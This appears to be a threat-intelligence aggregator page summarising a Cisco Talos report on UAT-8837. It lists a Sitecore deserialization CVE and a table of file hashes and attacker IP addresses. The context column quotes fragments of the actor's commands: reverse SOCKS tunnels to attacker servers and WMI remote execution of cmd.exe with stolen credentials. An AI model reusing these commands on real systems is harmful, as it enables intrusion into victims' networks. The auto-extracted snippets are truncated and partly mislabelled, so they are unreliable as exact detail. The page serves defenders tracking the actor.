Exploit / PoCcritical
UAT-8837 targets critical infrastructure sectors in North America
Vulnerabilities mentioned
All| CVE | Vulnerability | CVSS | EPSS | Signals | Published |
|---|---|---|---|---|---|
| CVE-2025-53690 | Unauthenticated ViewState Deserialization RCE in Sitecore XM/XP | 9.0 | 61% | KEVPoC | KEV |
Indicators of compromise
auto-extracted · verify before use · export allAll| Type | Indicator | Context |
|---|---|---|
| domain | 10.xx.xx.xx | ote endpoints within the victim’s network: goe.ico wmi proc 10[.]xx[.]xx[.]xx -u <u>/<p> -H <hash> -e 'cmd.exe' -a '/C hostname /al |
| ipv4 | 103.235.46.102 | 20[.]200[.]129[.]75 172[.]188[.]162[.]183 4[.]144[.]1[.]47 103[.]235[.]46[.]102 |
| ipv4 | 172.188.162.183 | in the commands below: C:\Windows\Temp\v.ico -s rssocks -d 172[.]188[.]162[.]183 -e 1433 C:\users\public\videos\verr.ico -s rssocks -d |
| ipv4 | 20.200.129.75 | 66[.]174 -e 443 C:\Users\public\Music\twd.exe -s rssocks -d 20[.]200[.]129[.]75 -e 443 DWAgent UAT-8837 deploys DWAgent, a remote adm |
| ipv4 | 4.144.1.47 | socks -d 172[.]188[.]162[.]183 -e 447 abc.ico -s rssocks -d 4[.]144[.]1[.]47 -e 448 C:\users\public\music\aa.exe -s rssocks -d 74[ |
| ipv4 | 74.176.166.174 | [.]1[.]47 -e 448 C:\users\public\music\aa.exe -s rssocks -d 74[.]176[.]166[.]174 -e 443 C:\Users\public\Music\twd.exe -s rssocks -d 20 |
| sha256 | 194ca1b09902ceaaa8a7e66234be9dc8a12572832836361f49f1074eae861794 | 6184ea4402c39e257d5912c7ace3607e908e76127014e3ec02866b6d70c 194ca1b09902ceaaa8a7e66234be9dc8a12572832836361f49f1074eae861794 74e68b4e07d72c9b8e0bc8cbfd57f980b4a2cd9d27c37bb097ca4fb2108 |
| sha256 | 1b3856e5d8c6a4cec1c09a68e0f87a5319c1bd4c8726586fd3ea1b3434e22dfa | s threat are also available at our GitHub repository here . 1b3856e5d8c6a4cec1c09a68e0f87a5319c1bd4c8726586fd3ea1b3434e22dfa – GoTokenTheft 451e03c6a783f90ec72e6eab744ebd11f2bdc66550d9 |
| sha256 | 1c5174672bf2ccedb6a426336ca79fd326e61cd26dd9ae684b8ffd0b5a70c700 | 28DF19B6B634C05882D9F1DB73F63252F855120ED3E4DA4E26F2C6190E8 1c5174672bf2ccedb6a426336ca79fd326e61cd26dd9ae684b8ffd0b5a70c700 d0beb6184ea4402c39e257d5912c7ace3607e908e76127014e3ec02866b |
| sha256 | 1de72bb4f116e969faff90c1e915e70620b900e3117788119cffc644956a9183 | 485ef445393c26ca1bb5bfe7cdc59962c5c5725e3f3c574f7c - GoExec 1de72bb4f116e969faff90c1e915e70620b900e3117788119cffc644956a9183 – SharpWMI 51d6448e886521aaaaf929a50763156ceb99ede587c65de9 |
| sha256 | 2f295f0cedc37b0e1ea22de9d8cb461fa6f84ab0673fde995fd0468a485ddb59 | aaaaf929a50763156ceb99ede587c65de971700a5583d6a487 – Rubeus 2f295f0cedc37b0e1ea22de9d8cb461fa6f84ab0673fde995fd0468a485ddb59 – Rubeus E27e6e8e97421593f1e8d66f280e894525e22b373248709bea |
| sha256 | 42e3ad56799fbc8223fb8400f07313559299496bb80582a6cbae29cb376d96c3 | 4ff75c0e3ed196e1f53d92274b1e94f17fa6c39616ce0435503906e66fb 42e3ad56799fbc8223fb8400f07313559299496bb80582a6cbae29cb376d96c3 6d20371b88891a1db842d23085a0253e36cf3bf0691aee2ae15a66fc79f |
| sha256 | 451e03c6a783f90ec72e6eab744ebd11f2bdc66550d9a6e72c0ac48439d774cd | 9a68e0f87a5319c1bd4c8726586fd3ea1b3434e22dfa – GoTokenTheft 451e03c6a783f90ec72e6eab744ebd11f2bdc66550d9a6e72c0ac48439d774cd - Earthworm B3f83721f24f7ee5eb19f24747b7668ff96da7dfd9be947 |
| sha256 | 4af156b3285b49485ef445393c26ca1bb5bfe7cdc59962c5c5725e3f3c574f7c | 55897d62302c5d6a46d6b36cb34775e4693e30e32609fb6744 – GoExec 4af156b3285b49485ef445393c26ca1bb5bfe7cdc59962c5c5725e3f3c574f7c - GoExec 1de72bb4f116e969faff90c1e915e70620b900e3117788119c |
| sha256 | 4d47445328bfd4db12227af9b57daab4228244d1325cba572588de237f7b2e98 | 3b1abeab11626a8edc1385df358d549a65e8cc7a69baca84cd825acc8e7 4d47445328bfd4db12227af9b57daab4228244d1325cba572588de237f7b2e98 74[.]176[.]166[.]174 20[.]200[.]129[.]75 172[.]188[.]162[.] |
| sha256 | 4e8304040055d3bffcb3551873da45f66577723d1a975416a49afa5aec4eb295 | 71b88891a1db842d23085a0253e36cf3bf0691aee2ae15a66fc79f3803d 4e8304040055d3bffcb3551873da45f66577723d1a975416a49afa5aec4eb295 BDF7B28DF19B6B634C05882D9F1DB73F63252F855120ED3E4DA4E26F2C6 |
| sha256 | 4f7518b2ee11162703245af6be38f5db50f92e65c303845ef13b12c0f1fc2883 | f02ae5700c5a88b40a77f0a3d9cbdf639f52bc4f92bb0a6 – Earthworm 4f7518b2ee11162703245af6be38f5db50f92e65c303845ef13b12c0f1fc2883 - Earthworm 891246a7f6f7ba345f419404894323045e5725a2252c000 |
| sha256 | 5090f311b37309767fb41fa9839d2770ab382326f38bab8c976b83ec727e6796 | 9404894323045e5725a2252c000d45603d6ddf697795 - GoTokenTheft 5090f311b37309767fb41fa9839d2770ab382326f38bab8c976b83ec727e6796 – SharpHound 6e8af5c507b605a16373e8453782bfd8a3ec3bd76f891e |
| sha256 | 51d6448e886521aaaaf929a50763156ceb99ede587c65de971700a5583d6a487 | faff90c1e915e70620b900e3117788119cffc644956a9183 – SharpWMI 51d6448e886521aaaaf929a50763156ceb99ede587c65de971700a5583d6a487 – Rubeus 2f295f0cedc37b0e1ea22de9d8cb461fa6f84ab0673fde995f |
| sha256 | 5391f69425217fa8394ebac0d952c5a3d1f0f5ac4f20587978cd894fdb6199cd | 3f608ea508cd6bf51fb23053d97aa970b8d11269d60ce5c6e113e8e787a 5391f69425217fa8394ebac0d952c5a3d1f0f5ac4f20587978cd894fdb6199cd 8bc008a621c5e3068129916770d24ee1d7d48079ee42797f86d3530ca90 |
| sha256 | 6d20371b88891a1db842d23085a0253e36cf3bf0691aee2ae15a66fc79f3803d | d56799fbc8223fb8400f07313559299496bb80582a6cbae29cb376d96c3 6d20371b88891a1db842d23085a0253e36cf3bf0691aee2ae15a66fc79f3803d 4e8304040055d3bffcb3551873da45f66577723d1a975416a49afa5aec4 |
| sha256 | 6e8af5c507b605a16373e8453782bfd8a3ec3bd76f891e71a159d8c2ff2a5bb0 | b41fa9839d2770ab382326f38bab8c976b83ec727e6796 – SharpHound 6e8af5c507b605a16373e8453782bfd8a3ec3bd76f891e71a159d8c2ff2a5bb0 – Impacket 887817fbaf137955897d62302c5d6a46d6b36cb34775e469 |
| sha256 | 74e68b4e07d72c9b8e0bc8cbfd57f980b4a2cd9d27c37bb097ca4fb2108706e3 | 1b09902ceaaa8a7e66234be9dc8a12572832836361f49f1074eae861794 74e68b4e07d72c9b8e0bc8cbfd57f980b4a2cd9d27c37bb097ca4fb2108706e3 Ced14e8beb20a345a0d6f90041d8517c04dbc113feff3bc6e933968d6b8 |
| sha256 | 887817fbaf137955897d62302c5d6a46d6b36cb34775e4693e30e32609fb6744 | 6373e8453782bfd8a3ec3bd76f891e71a159d8c2ff2a5bb0 – Impacket 887817fbaf137955897d62302c5d6a46d6b36cb34775e4693e30e32609fb6744 – GoExec 4af156b3285b49485ef445393c26ca1bb5bfe7cdc59962c5c5 |
| sha256 | 891246a7f6f7ba345f419404894323045e5725a2252c000d45603d6ddf697795 | 3245af6be38f5db50f92e65c303845ef13b12c0f1fc2883 - Earthworm 891246a7f6f7ba345f419404894323045e5725a2252c000d45603d6ddf697795 - GoTokenTheft 5090f311b37309767fb41fa9839d2770ab382326f38b |
| sha256 | 8bc008a621c5e3068129916770d24ee1d7d48079ee42797f86d3530ca90e305c | 69425217fa8394ebac0d952c5a3d1f0f5ac4f20587978cd894fdb6199cd 8bc008a621c5e3068129916770d24ee1d7d48079ee42797f86d3530ca90e305c De9c13b1abeab11626a8edc1385df358d549a65e8cc7a69baca84cd825a |
| sha256 | 8bf233f608ea508cd6bf51fb23053d97aa970b8d11269d60ce5c6e113e8e787a | e8beb20a345a0d6f90041d8517c04dbc113feff3bc6e933968d6b846e31 8bf233f608ea508cd6bf51fb23053d97aa970b8d11269d60ce5c6e113e8e787a 5391f69425217fa8394ebac0d952c5a3d1f0f5ac4f20587978cd894fdb6 |
| sha256 | b3f83721f24f7ee5eb19f24747b7668ff96da7dfd9be947e6e24a688ecc0a52b | 72e6eab744ebd11f2bdc66550d9a6e72c0ac48439d774cd - Earthworm B3f83721f24f7ee5eb19f24747b7668ff96da7dfd9be947e6e24a688ecc0a52b – Earthworm Fab292c72ad41bae2f02ae5700c5a88b40a77f0a3d9cbdf |
| sha256 | b7ecd4ff75c0e3ed196e1f53d92274b1e94f17fa6c39616ce0435503906e66fb | 3f1e8d66f280e894525e22b373248709beaf81dc6107fb88d – Certipy B7ecd4ff75c0e3ed196e1f53d92274b1e94f17fa6c39616ce0435503906e66fb 42e3ad56799fbc8223fb8400f07313559299496bb80582a6cbae29cb376 |
| sha256 | bdf7b28df19b6b634c05882d9f1db73f63252f855120ed3e4da4e26f2c6190e8 | 4040055d3bffcb3551873da45f66577723d1a975416a49afa5aec4eb295 BDF7B28DF19B6B634C05882D9F1DB73F63252F855120ED3E4DA4E26F2C6190E8 1c5174672bf2ccedb6a426336ca79fd326e61cd26dd9ae684b8ffd0b5a7 |
| sha256 | ced14e8beb20a345a0d6f90041d8517c04dbc113feff3bc6e933968d6b846e31 | b4e07d72c9b8e0bc8cbfd57f980b4a2cd9d27c37bb097ca4fb2108706e3 Ced14e8beb20a345a0d6f90041d8517c04dbc113feff3bc6e933968d6b846e31 8bf233f608ea508cd6bf51fb23053d97aa970b8d11269d60ce5c6e113e8 |
| sha256 | d0beb6184ea4402c39e257d5912c7ace3607e908e76127014e3ec02866b6d70c | 4672bf2ccedb6a426336ca79fd326e61cd26dd9ae684b8ffd0b5a70c700 d0beb6184ea4402c39e257d5912c7ace3607e908e76127014e3ec02866b6d70c 194ca1b09902ceaaa8a7e66234be9dc8a12572832836361f49f1074eae8 |
| sha256 | de9c13b1abeab11626a8edc1385df358d549a65e8cc7a69baca84cd825acc8e7 | 8a621c5e3068129916770d24ee1d7d48079ee42797f86d3530ca90e305c De9c13b1abeab11626a8edc1385df358d549a65e8cc7a69baca84cd825acc8e7 4d47445328bfd4db12227af9b57daab4228244d1325cba572588de237f7 |
| sha256 | e27e6e8e97421593f1e8d66f280e894525e22b373248709beaf81dc6107fb88d | 0e1ea22de9d8cb461fa6f84ab0673fde995fd0468a485ddb59 – Rubeus E27e6e8e97421593f1e8d66f280e894525e22b373248709beaf81dc6107fb88d – Certipy B7ecd4ff75c0e3ed196e1f53d92274b1e94f17fa6c39616ce |
| sha256 | fab292c72ad41bae2f02ae5700c5a88b40a77f0a3d9cbdf639f52bc4f92bb0a6 | b19f24747b7668ff96da7dfd9be947e6e24a688ecc0a52b – Earthworm Fab292c72ad41bae2f02ae5700c5a88b40a77f0a3d9cbdf639f52bc4f92bb0a6 – Earthworm 4f7518b2ee11162703245af6be38f5db50f92e65c303845 |
From the original article
6 min read at blog.talosintelligence.com
Cisco Talos is closely tracking UAT-8837, a threat actor we assess with medium confidence is a China-nexus advanced persistent threat (APT) actor based on overlaps in tactics, techniques, and procedures (TTPs) with those of other known China-nexus threat actors.
By Asheer Malhotra · blog.talosintelligence.com
A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.